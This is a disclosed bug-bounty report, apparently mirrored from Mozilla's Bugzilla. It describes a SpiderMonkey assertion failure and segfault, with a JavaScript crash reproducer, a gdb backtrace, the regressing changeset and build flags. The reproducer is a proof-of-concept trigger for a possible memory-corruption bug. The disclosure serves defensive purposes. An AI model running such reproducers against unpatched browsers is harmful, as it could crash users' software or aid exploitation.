Skip to content
Memory corruption Disclosed report Advanced

Assertion failure: v.isUndefined(), at vm/StringType.cpp:2467

A JavaScript engine assertion failure occurs when calling the Function constructor with certain arguments, leading to a segmentation fault. An attacker could potentially crash the browser or execute arbitrary code by triggering this bug.

Gary Kwong Follow

Originally disclosed on Mozilla

  • Fixed in 24 days
  • Paid in 29 days
  • Disclosed after 24 days
Text
'''
function f(x) {
  let y = x | 0;
  z = 1;
  Function((x | 0 ? 1 : 9999999999) ? (z ? y : 9999999999) : 1);
}
f(1);
f(1);
f(1);
f(1);
f(1);
f(1);
f(1);
f(1);
f(9999999999);
f(1);
f();
f(9007199254740993);
'''

'''
Thread 1 "js-dbg-64-linux" received signal SIGSEGV, Segmentation fault.
js::ToStringSlow<(js::AllowGC)1> (cx=0x7ffff772e100, arg=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/StringType.cpp:2467
2467	    MOZ_ASSERT(v.isUndefined());
(gdb) bt
#0  js::ToStringSlow<(js::AllowGC)1> (cx=0x7ffff772e100, arg=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/StringType.cpp:2467
#1  0x00005555573f8286 in js::ToString<(js::AllowGC)1> (cx=0x7ffff7e31700 <_IO_stdfile_2_lock>, cx@entry=0x7ffff772e100, v=...)
    at /home/skygentoo/trees/mozilla-central/js/src/vm/StringType.h:1892
#2  0x00005555573ef2fb in CreateDynamicFunction (cx=0x7ffff772e100, args=..., generatorKind=js::GeneratorKind::NotGenerator, asyncKind=js::FunctionAsyncKind::SyncFunction)
    at /home/skygentoo/trees/mozilla-central/js/src/vm/JSFunction.cpp:1383
#3  0x00005555573ee929 in js::Function (cx=0x7ffff772e100, argc=<optimized out>, vp=<optimized out>) at /home/skygentoo/trees/mozilla-central/js/src/vm/JSFunction.cpp:1483
#4  0x000032f6f0cce3b3 in ?? ()
#5  0x00007ffff7795975 in ?? ()
#6  0x00007fffffffc0f8 in ?? ()
#7  0x00007fffffffc1c0 in ?? ()
#8  0x0000000000000000 in ?? ()
(gdb)
'''

'''
The first bad revision is:
changeset:   https://hg.mozilla.org/mozilla-central/rev/7ad5c59c746b
user:        Nicolas B. Pierron
date:        Thu Jan 25 16:45:20 2024 +0000
summary:     Bug 1874456 part 2 - Fix EliminateDeadResumePointOperands logic. r=iain
'''

Run with `--fuzzing-safe --no-threads --ion-eager`, compile with `AR=ar sh ../configure --enable-debug --enable-debug-symbols --with-ccache --enable-nspr-build --enable-ctypes --enable-gczeal --enable-rust-simd --disable-tests`, tested on m-c rev 2eb7051ff4ed.

Nicolas, is bug 1874456 a likely regressor? Setting s-s to be safe.

The original report as published on Mozilla's Bugzilla, by Gary Kwong. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could crash the JavaScript engine, potentially leading to denial of service or arbitrary code execution.

What the attacker needed

Ability to run JavaScript in the vulnerable engine

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a crash in a JavaScript engine (likely Firefox's SpiderMonkey) when running a specific piece of JavaScript code. The crash happens because the engine makes a wrong assumption about a value's type, leading to a segmentation fault (a memory access error). An attacker could use this to crash the browser or possibly run malicious code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Gary Kwong

View all

42 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.